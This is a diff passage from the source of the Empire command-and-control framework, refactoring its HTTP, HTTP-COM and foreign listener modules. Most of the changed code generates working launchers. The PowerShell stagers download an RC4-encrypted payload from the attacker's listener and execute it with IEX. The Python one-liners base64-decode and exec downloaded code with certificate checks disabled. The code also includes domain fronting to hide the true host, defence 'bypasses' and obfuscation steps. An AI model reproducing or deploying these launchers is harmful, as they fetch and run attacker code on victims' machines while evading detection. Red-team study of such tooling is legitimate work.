+ bindIP = listenerOptions["BindIP"]["Value"]
+ port = listenerOptions["Port"]["Value"]
+ if ":" in bindIP:
+ if "http" in host:
+ if "https" in host:
+ host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port)
+ else:
+ host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port)
+
+ # code to turn the key string into a byte array
+ stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
+
+ # this is the minimized RC4 stager code from rc4.ps1
+ stager += listener_util.powershell_rc4()
+
+ # prebuild the request routing packet for the launcher
+ routingPacket = packets.build_routing_packet(
+ staging_key,
+ sessionID="00000000",
+ language="POWERSHELL",
+ meta="STAGE0",
+ additional="None",
+ encData="",
+ )
+ b64RoutingPacket = base64.b64encode(routingPacket)
- # base64 encode the stager and return it
- if encode and (
- (not obfuscate) or ("launcher" not in obfuscation_command.lower())
- ):
- return helpers.powershell_launcher(stager, launcher)
- else:
- # otherwise return the case-randomized stager
- return stager
-
- if language in ["python", "ironpython"]:
- # Python
- launcherBase = "import sys;"
- if "https" in host:
- # monkey patch ssl woohooo
- launcherBase += dedent(
- """
- import ssl;
- if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;
- """
+ # Add custom headers if any
+ if customHeaders != []:
+ for header in customHeaders:
+ headerKey = header.split(":")[0]
+ headerValue = header.split(":")[1]
+ # If host header defined, assume domain fronting is in use and add a call to the base URL first
+ # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
+ if headerKey.lower() == "host":
+ stager += "try{$ig=$wc.DownloadData($ser)}catch{};"
+ stager += (
+ "$wc.Headers.Add(" + f"'{headerKey}','" + headerValue + "');"
)
- try:
- if safeChecks.lower() == "true":
- launcherBase += listener_util.python_safe_checks()
- except Exception as e:
- p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
- log.error(p)
+ # add the RC4 packet to a cookie
+ stager += f'$wc.Headers.Add("Cookie","{ cookie }={ b64RoutingPacket.decode("UTF-8") }");'
+ stager += "$data=$wc.DownloadData($ser+$t);"
+ stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
+
+ # decode everything and kick it over to IEX to kick off execution
+ stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
- if userAgent.lower() == "default":
- profile = listenerOptions["DefaultProfile"]["Value"]
- userAgent = profile.split("|")[1]
+ # Remove comments and make one line
+ stager = helpers.strip_powershell_comments(stager)
+ stager = data_util.ps_convert_to_oneliner(stager)
+ if obfuscate:
+ stager = self.mainMenu.obfuscationv2.obfuscate(
+ stager,
+ obfuscation_command=obfuscation_command,
+ )
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+
+ # base64 encode the stager and return it
+ if encode and (
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
+ ):
+ return helpers.powershell_launcher(stager, launcher)
+ else:
+ # otherwise return the case-randomized stager
+ return stager
+
+ if language in ["python", "ironpython"]:
+ # Python
+ launcherBase = "import sys;"
+ if "https" in host:
+ # monkey patch ssl woohooo
launcherBase += dedent(
- f"""
- import urllib.request;
- UA='{ userAgent }';server='{ host }';t='{ stage0 }';
- req=urllib.request.Request(server+t);
+ """
+ import ssl;
+ if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;
"""
)
- # prebuild the request routing packet for the launcher
- routingPacket = packets.build_routing_packet(
- staging_key,
- sessionID="00000000",
- language="PYTHON",
- meta="STAGE0",
- additional="None",
- encData="",
- )
+ try:
+ if safeChecks.lower() == "true":
+ launcherBase += listener_util.python_safe_checks()
+ except Exception as e:
+ p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p)
+
+ if userAgent.lower() == "default":
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ userAgent = profile.split("|")[1]
+
+ launcherBase += dedent(
+ f"""
+ import urllib.request;
+ UA='{ userAgent }';server='{ host }';t='{ stage0 }';
+ req=urllib.request.Request(server+t);
+ """
+ )
- b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8")
+ # prebuild the request routing packet for the launcher
+ routingPacket = packets.build_routing_packet(
+ staging_key,
+ sessionID="00000000",
+ language="PYTHON",
+ meta="STAGE0",
+ additional="None",
+ encData="",
+ )
- # Add custom headers if any
- if customHeaders != []:
- for header in customHeaders:
- headerKey = header.split(":")[0]
- headerValue = header.split(":")[1]
- launcherBase += (
- f'req.add_header("{ headerKey }","{ headerValue }");\n'
- )
+ b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8")
- if proxy.lower() != "none":
- if proxy.lower() == "default":
- launcherBase += "proxy = urllib.request.ProxyHandler();\n"
- else:
- proto = proxy.split(":")[0]
- launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n"
+ # Add custom headers if any
+ if customHeaders != []:
+ for header in customHeaders:
+ headerKey = header.split(":")[0]
+ headerValue = header.split(":")[1]
+ launcherBase += (
+ f'req.add_header("{ headerKey }","{ headerValue }");\n'
+ )
- if proxyCreds != "none":
- if proxyCreds == "default":
- launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ if proxy.lower() != "none":
+ if proxy.lower() == "default":
+ launcherBase += "proxy = urllib.request.ProxyHandler();\n"
+ else:
+ proto = proxy.split(":")[0]
+ launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n"
- # add the RC4 packet to a cookie
- launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n'
- else:
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- launcherBase += dedent(
- f"""
- proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();
- proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }');
- o = urllib.request.build_opener(proxy, proxy_auth_handler);
- o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")];
- """
- )
+ if proxyCreds != "none":
+ if proxyCreds == "default":
+ launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ # add the RC4 packet to a cookie
+ launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n'
else:
- launcherBase += "o = urllib.request.build_opener(proxy);\n"
- else:
- launcherBase += "o = urllib.request.build_opener();\n"
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ launcherBase += dedent(
+ f"""
+ proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();
+ proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }');
+ o = urllib.request.build_opener(proxy, proxy_auth_handler);
+ o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")];
+ """
+ )
- # install proxy and creds globally, so they can be used with urlopen.
- launcherBase += "urllib.request.install_opener(o);\n"
- launcherBase += "a=urllib.request.urlopen(req).read();\n"
+ else:
+ launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ else:
+ launcherBase += "o = urllib.request.build_opener();\n"
- # download the stager and extract the IV
- launcherBase += listener_util.python_extract_stager(staging_key)
+ # install proxy and creds globally, so they can be used with urlopen.
+ launcherBase += "urllib.request.install_opener(o);\n"
+ launcherBase += "a=urllib.request.urlopen(req).read();\n"
- if obfuscate:
- launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
- launcherBase
- )
- launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
- launcherBase
- )
+ # download the stager and extract the IV
+ launcherBase += listener_util.python_extract_stager(staging_key)
- if encode:
- launchEncoded = base64.b64encode(
- launcherBase.encode("UTF-8")
- ).decode("UTF-8")
- if isinstance(launchEncoded, bytes):
- launchEncoded = launchEncoded.decode("UTF-8")
- launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &"
- return launcher
- else:
- return launcherBase
-
- # very basic csharp implementation
- if language == "csharp":
- workingHours = listenerOptions["WorkingHours"]["Value"]
- killDate = listenerOptions["KillDate"]["Value"]
- customHeaders = profile.split("|")[2:] # todo: support custom headers
- delay = listenerOptions["DefaultDelay"]["Value"]
- jitter = listenerOptions["DefaultJitter"]["Value"]
- lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
-
- with open(
- self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb"
- ) as f:
- stager_yaml = f.read()
- stager_yaml = stager_yaml.decode("UTF-8")
- stager_yaml = (
- stager_yaml.replace("{{ REPLACE_ADDRESS }}", host)
- .replace("{{ REPLACE_SESSIONKEY }}", staging_key)
- .replace("{{ REPLACE_PROFILE }}", profile)
- .replace("{{ REPLACE_WORKINGHOURS }}", workingHours)
- .replace("{{ REPLACE_KILLDATE }}", killDate)
- .replace("{{ REPLACE_DELAY }}", str(delay))
- .replace("{{ REPLACE_JITTER }}", str(jitter))
- .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit))
+ if obfuscate:
+ launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
+ launcherBase
+ )
+ launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
+ launcherBase
)
- compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver")
- if not compiler.status == "ON":
- self.instance_log.error(
- f"{listenerName} csharpserver plugin not running"
- )
- else:
- file_name = compiler.do_send_stager(
- stager_yaml, "Sharpire", confuse=obfuscate
- )
- return file_name
-
+ if encode:
+ launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode(
+ "UTF-8"
+ )
+ if isinstance(launchEncoded, bytes):
+ launchEncoded = launchEncoded.decode("UTF-8")
+ launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &"
+ return launcher
else:
+ return launcherBase
+
+ # very basic csharp implementation
+ if language == "csharp":
+ workingHours = listenerOptions["WorkingHours"]["Value"]
+ killDate = listenerOptions["KillDate"]["Value"]
+ customHeaders = profile.split("|")[2:] # todo: support custom headers
+ delay = listenerOptions["DefaultDelay"]["Value"]
+ jitter = listenerOptions["DefaultJitter"]["Value"]
+ lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
+
+ with open(self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb") as f:
+ stager_yaml = f.read()
+ stager_yaml = stager_yaml.decode("UTF-8")
+ stager_yaml = (
+ stager_yaml.replace("{{ REPLACE_ADDRESS }}", host)
+ .replace("{{ REPLACE_SESSIONKEY }}", staging_key)
+ .replace("{{ REPLACE_PROFILE }}", profile)
+ .replace("{{ REPLACE_WORKINGHOURS }}", workingHours)
+ .replace("{{ REPLACE_KILLDATE }}", killDate)
+ .replace("{{ REPLACE_DELAY }}", str(delay))
+ .replace("{{ REPLACE_JITTER }}", str(jitter))
+ .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit))
+ )
+
+ compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver")
+ if not compiler.status == "ON":
self.instance_log.error(
- f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module."
+ f"{listenerName} csharpserver plugin not running"
+ )
+ else:
+ file_name = compiler.do_send_stager(
+ stager_yaml, "Sharpire", confuse=obfuscate
)
+ return file_name
+
+ else:
+ self.instance_log.error(
+ f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module."
+ )
def generate_stager(
self,
@@ -694,8 +678,8 @@ def generate_agent(
jitter = listenerOptions["DefaultJitter"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
- killDate = listenerOptions["KillDate"]["Value"]
- workingHours = listenerOptions["WorkingHours"]["Value"]
+ listenerOptions["KillDate"]["Value"]
+ listenerOptions["WorkingHours"]["Value"]
b64DefaultResponse = base64.b64encode(self.default_response().encode("UTF-8"))
if language == "powershell":
@@ -738,29 +722,17 @@ def generate_agent(
code = helpers.strip_python_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
- code = code.replace("delay = 60", f"delay = { delay }")
- code = code.replace("jitter = 0.0", f"jitter = { jitter }")
+ code = code.replace("delay=60", f"delay={ delay }")
+ code = code.replace("jitter=0.0", f"jitter={ jitter }")
code = code.replace(
'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
f'profile = "{ profile }"',
)
- code = code.replace("lostLimit = 60", f"lostLimit = { lostLimit }")
code = code.replace(
'defaultResponse = base64.b64decode("")',
f'defaultResponse = base64.b64decode("{ b64DefaultResponse.decode("UTF-8") }")',
)
- # patch in the killDate and workingHours if they're specified
- if killDate != "":
- code = code.replace(
- 'killDate = "REPLACE_KILLDATE"', f'killDate = "{ killDate }"'
- )
- if workingHours != "":
- code = code.replace(
- 'workingHours = "REPLACE_WORKINGHOURS"',
- f'workingHours = "{ killDate }"',
- )
-
if obfuscate:
code = self.mainMenu.obfuscationv2.python_obfuscate(code)
code = self.mainMenu.obfuscationv2.obfuscate_keywords(code)
@@ -1279,40 +1251,23 @@ def handle_post(request_uri):
exc_info=True,
)
- def start(self, name=""):
+ def start(self):
"""
Start a threaded instance of self.start_server() and store it in the
- self.threads dictionary keyed by the listener name.
+ self.thread property.
"""
listenerOptions = self.options
- if name and name != "":
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(1)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
- else:
- name = listenerOptions["Name"]["Value"]
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(1)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
+ self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,))
+ self.thread.start()
+ time.sleep(1)
+ # returns True if the listener successfully started, false otherwise
+ return self.thread.is_alive()
- def shutdown(self, name=""):
+ def shutdown(self):
"""
- Terminates the server thread stored in the self.threads dictionary,
- keyed by the listener name.
+ Terminates the server thread stored in the self.thread property.
"""
- if name and name != "":
- to_kill = name
- else:
- to_kill = self.options["Name"]["Value"]
-
+ to_kill = self.options["Name"]["Value"]
self.instance_log.info(f"{to_kill}: shutting down...")
log.info(f"{to_kill}: shutting down...")
- self.threads[to_kill].kill()
+ self.thread.kill()
diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py
index a6e344830..ed3c72a22 100755
--- a/empire/server/listeners/http_com.py
+++ b/empire/server/listeners/http_com.py
@@ -6,7 +6,6 @@
import ssl
import sys
import time
-from typing import List, Optional, Tuple
from flask import Flask, make_response, request, send_from_directory
from werkzeug.serving import WSGIRequestHandler
@@ -65,8 +64,8 @@ def __init__(self, mainMenu: MainMenu):
"Port": {
"Description": "Port for the listener.",
"Required": True,
- "Value": "",
- "SuggestedValues": ["1335", "1336"],
+ "Value": "80",
+ "SuggestedValues": ["80", "443"],
},
"Launcher": {
"Description": "Launcher string.",
@@ -138,7 +137,7 @@ def __init__(self, mainMenu: MainMenu):
# required:
self.mainMenu = mainMenu
- self.threads = {}
+ self.thread = None
# optional/specific for this module
self.app = None
@@ -165,7 +164,7 @@ def default_response(self):
"""
return open(f"{self.template_dir }/default.html").read()
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
@@ -198,7 +197,7 @@ def generate_launcher(
language=None,
safeChecks="",
listenerName=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
"""
Generate a basic launcher for the specified listener.
@@ -208,130 +207,122 @@ def generate_launcher(
log.error("listeners/http_com generate_launcher(): no language specified!")
return None
- # Previously, we had to do a lookup for the listener and check through threads on the instance.
- # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
- # further, but for now keeping as is since 5.0 has enough rewrites as it is.
- if (
- True
- ): # The true check is just here to keep the indentation consistent with the old code.
- active_listener = self
- # extract the set options for this instantiated listener
- listenerOptions = active_listener.options
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listenerOptions = active_listener.options
- host = listenerOptions["Host"]["Value"]
- launcher = listenerOptions["Launcher"]["Value"]
- staging_key = listenerOptions["StagingKey"]["Value"]
- profile = listenerOptions["DefaultProfile"]["Value"]
- requestHeader = listenerOptions["RequestHeader"]["Value"]
- uris = [a for a in profile.split("|")[0].split(",")]
- stage0 = random.choice(uris)
- customHeaders = profile.split("|")[2:]
-
- if language.startswith("po"):
- # PowerShell
-
- stager = '$ErrorActionPreference = "SilentlyContinue";'
- if safeChecks.lower() == "true":
- stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
-
- for bypass in bypasses:
- stager += bypass
- stager += "};"
- stager += "[System.Net.ServicePointManager]::Expect100Continue=0;"
-
- # TODO: reimplement stager retries?
-
- # check if we're using IPv6
- listenerOptions = copy.deepcopy(listenerOptions)
- bindIP = listenerOptions["BindIP"]["Value"]
- port = listenerOptions["Port"]["Value"]
- if ":" in bindIP:
- if "http" in host:
- if "https" in host:
- host = (
- "https://" + "[" + str(bindIP) + "]" + ":" + str(port)
- )
- else:
- host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port)
+ host = listenerOptions["Host"]["Value"]
+ launcher = listenerOptions["Launcher"]["Value"]
+ staging_key = listenerOptions["StagingKey"]["Value"]
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ requestHeader = listenerOptions["RequestHeader"]["Value"]
+ uris = list(profile.split("|")[0].split(","))
+ stage0 = random.choice(uris)
+ customHeaders = profile.split("|")[2:]
- # code to turn the key string into a byte array
- stager += (
- f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
- )
+ if language.startswith("po"):
+ # PowerShell
- # this is the minimized RC4 stager code from rc4.ps1
- stager += listener_util.powershell_rc4()
-
- # prebuild the request routing packet for the launcher
- routingPacket = packets.build_routing_packet(
- staging_key,
- sessionID="00000000",
- language="POWERSHELL",
- meta="STAGE0",
- additional="None",
- encData="",
- )
- b64RoutingPacket = base64.b64encode(routingPacket)
+ stager = '$ErrorActionPreference = "SilentlyContinue";'
+ if safeChecks.lower() == "true":
+ stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
+
+ for bypass in bypasses:
+ stager += bypass
+ stager += "};"
+ stager += "[System.Net.ServicePointManager]::Expect100Continue=0;"
+
+ # TODO: reimplement stager retries?
+
+ # check if we're using IPv6
+ listenerOptions = copy.deepcopy(listenerOptions)
+ bindIP = listenerOptions["BindIP"]["Value"]
+ port = listenerOptions["Port"]["Value"]
+ if ":" in bindIP:
+ if "http" in host:
+ if "https" in host:
+ host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port)
+ else:
+ host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port)
+
+ # code to turn the key string into a byte array
+ stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
+
+ # this is the minimized RC4 stager code from rc4.ps1
+ stager += listener_util.powershell_rc4()
+
+ # prebuild the request routing packet for the launcher
+ routingPacket = packets.build_routing_packet(
+ staging_key,
+ sessionID="00000000",
+ language="POWERSHELL",
+ meta="STAGE0",
+ additional="None",
+ encData="",
+ )
+ b64RoutingPacket = base64.b64encode(routingPacket)
+
+ stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
+ stager += (
+ f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';"
+ )
+
+ # add the RC4 packet to a header location
+ stager += f'$c="{ requestHeader }: { b64RoutingPacket }'
+
+ # Add custom headers if any
+ modifyHost = False
+ if customHeaders != []:
+ for header in customHeaders:
+ headerKey = header.split(":")[0]
+ headerValue = header.split(":")[1]
- stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
- stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';"
+ if headerKey.lower() == "host":
+ modifyHost = True
- # add the RC4 packet to a header location
- stager += f'$c="{ requestHeader }: { b64RoutingPacket }'
+ stager += f"`r`n{ headerKey }: { headerValue }"
- # Add custom headers if any
- modifyHost = False
- if customHeaders != []:
- for header in customHeaders:
- headerKey = header.split(":")[0]
- headerValue = header.split(":")[1]
+ stager += '";'
+ # If host header defined, assume domain fronting is in use and add a call to the base URL first
+ # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
+ if modifyHost:
+ stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};"
- if headerKey.lower() == "host":
- modifyHost = True
+ stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
+ stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
+ stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
+ stager += (
+ "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
+ )
+ stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
- stager += f"`r`n{ headerKey }: { headerValue }"
+ # decode everything and kick it over to IEX to kick off execution
+ stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
- stager += '";'
- # If host header defined, assume domain fronting is in use and add a call to the base URL first
- # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
- if modifyHost:
- stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};"
+ # Remove comments and make one line
+ stager = helpers.strip_powershell_comments(stager)
+ stager = data_util.ps_convert_to_oneliner(stager)
- stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
- stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
- stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
- stager += (
- "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
+ if obfuscate:
+ stager = self.mainMenu.obfuscationv2.obfuscate(
+ stager,
+ obfuscation_command=obfuscation_command,
)
- stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
-
- # decode everything and kick it over to IEX to kick off execution
- stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
-
- # Remove comments and make one line
- stager = helpers.strip_powershell_comments(stager)
- stager = data_util.ps_convert_to_oneliner(stager)
-
- if obfuscate:
- stager = self.mainMenu.obfuscationv2.obfuscate(
- stager,
- obfuscation_command=obfuscation_command,
- )
- stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
-
- # base64 encode the stager and return it
- if encode and (
- (not obfuscate) or ("launcher" not in obfuscation_command.lower())
- ):
- return helpers.powershell_launcher(stager, launcher)
- else:
- # otherwise return the case-randomized stager
- return stager
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+ # base64 encode the stager and return it
+ if encode and (
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
+ ):
+ return helpers.powershell_launcher(stager, launcher)
else:
- log.error(
- "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
- )
+ # otherwise return the case-randomized stager
+ return stager
+
+ else:
+ log.error(
+ "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
+ )
def generate_stager(
self,
@@ -858,40 +849,23 @@ def handle_post(request_uri):
self.instance_log.error(message1, exc_info=True)
self.instance_log.error(message2, exc_info=True)
- def start(self, name=""):
+ def start(self):
"""
Start a threaded instance of self.start_server() and store it in the
- self.threads dictionary keyed by the listener name.
+ self.thread property.
"""
listenerOptions = self.options
- if name and name != "":
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(1)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
- else:
- name = listenerOptions["Name"]["Value"]
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(1)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
+ self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,))
+ self.thread.start()
+ time.sleep(1)
+ # returns True if the listener successfully started, false otherwise
+ return self.thread.is_alive()
- def shutdown(self, name=""):
+ def shutdown(self):
"""
- Terminates the server thread stored in the self.threads dictionary,
- keyed by the listener name.
+ Terminates the server thread stored in the self.thread property.
"""
- if name and name != "":
- to_kill = name
- else:
- to_kill = self.options["Name"]["Value"]
-
+ to_kill = self.options["Name"]["Value"]
self.instance_log.info(f"{to_kill}: shutting down...")
log.info(f"{to_kill}: shutting down...")
- self.threads[to_kill].kill()
+ self.thread.kill()
diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py
index 3a2347234..21b87a6b0 100755
--- a/empire/server/listeners/http_foreign.py
+++ b/empire/server/listeners/http_foreign.py
@@ -3,7 +3,6 @@
import os
import random
from textwrap import dedent
-from typing import List, Optional, Tuple
from empire.server.common import helpers, templating
from empire.server.common.empire import MainMenu
@@ -49,7 +48,8 @@ def __init__(self, mainMenu: MainMenu):
"Port": {
"Description": "Port for the listener.",
"Required": True,
- "Value": "",
+ "Value": "80",
+ "SuggestedValues": ["80", "443"],
},
"Launcher": {
"Description": "Launcher string.",
@@ -110,7 +110,7 @@ def __init__(self, mainMenu: MainMenu):
# required:
self.mainMenu = mainMenu
- self.threads = {}
+ self.thread = None
# optional/specific for this module
self.app = None
@@ -140,7 +140,7 @@ def default_response(self):
"""
return ""
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
@@ -164,7 +164,7 @@ def generate_launcher(
language=None,
safeChecks="",
listenerName=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
"""
Generate a basic launcher for the specified listener.
@@ -177,226 +177,218 @@ def generate_launcher(
)
return None
- # Previously, we had to do a lookup for the listener and check through threads on the instance.
- # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
- # further, but for now keeping as is since 5.0 has enough rewrites as it is.
- if (
- True
- ): # The true check is just here to keep the indentation consistent with the old code.
- active_listener = self
- # extract the set options for this instantiated listener
- listenerOptions = active_listener.options
-
- host = listenerOptions["Host"]["Value"]
- launcher = listenerOptions["Launcher"]["Value"]
- stagingKey = listenerOptions["StagingKey"]["Value"]
- profile = listenerOptions["DefaultProfile"]["Value"]
- uris = [a for a in profile.split("|")[0].split(",")]
- stage0 = random.choice(uris)
- customHeaders = profile.split("|")[2:]
-
- if language.startswith("po"):
- # PowerShell
-
- stager = '$ErrorActionPreference = "SilentlyContinue";'
- if safeChecks.lower() == "true":
- stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
-
- for bypass in bypasses:
- stager += bypass
- stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
-
- stager += "$wc=New-Object System.Net.WebClient;"
-
- if userAgent.lower() == "default":
- profile = listenerOptions["DefaultProfile"]["Value"]
- userAgent = profile.split("|")[1]
- stager += f"$u='{ userAgent }';"
-
- if "https" in host:
- # allow for self-signed certificates for https connections
- stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
-
- if userAgent.lower() != "none" or proxy.lower() != "none":
- if userAgent.lower() != "none":
- stager += "$wc.Headers.Add('User-Agent',$u);"
-
- if proxy.lower() != "none":
- if proxy.lower() == "default":
- stager += (
- "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
- )
-
- else:
- # TODO: implement form for other proxy
- stager += "$proxy=New-Object Net.WebProxy;"
- stager += f"$proxy.Address = '{ proxy.lower() }';"
- stager += "$wc.Proxy = $proxy;"
-
- if proxyCreds.lower() == "default":
- stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
-
- else:
- # TODO: implement form for other proxy credentials
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- domain = username.split("\\")[0]
- usr = username.split("\\")[1]
- stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');"
- stager += "$wc.Proxy.Credentials = $netcred;"
-
- # TODO: reimplement stager retries?
-
- # Add custom headers if any
- if customHeaders != []:
- for header in customHeaders:
- headerKey = header.split(":")[0]
- headerValue = header.split(":")[1]
- stager += f'$wc.Headers.Add("{ headerKey }","{ headerValue }");'
-
- # code to turn the key string into a byte array
- stager += (
- f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');"
- )
-
- # this is the minimized RC4 stager code from rc4.ps1
- stager += listener_util.powershell_rc4()
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listenerOptions = active_listener.options
- # Use routingpacket from foreign listener
- b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"]
+ host = listenerOptions["Host"]["Value"]
+ launcher = listenerOptions["Launcher"]["Value"]
+ stagingKey = listenerOptions["StagingKey"]["Value"]
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ uris = list(profile.split("|")[0].split(","))
+ stage0 = random.choice(uris)
+ customHeaders = profile.split("|")[2:]
- # add the RC4 packet to a cookie
- stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");'
+ if language.startswith("po"):
+ # PowerShell
- stager += f"$ser= { helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';"
- stager += "$data=$wc.DownloadData($ser+$t);"
- stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
+ stager = '$ErrorActionPreference = "SilentlyContinue";'
+ if safeChecks.lower() == "true":
+ stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
- # decode everything and kick it over to IEX to kick off execution
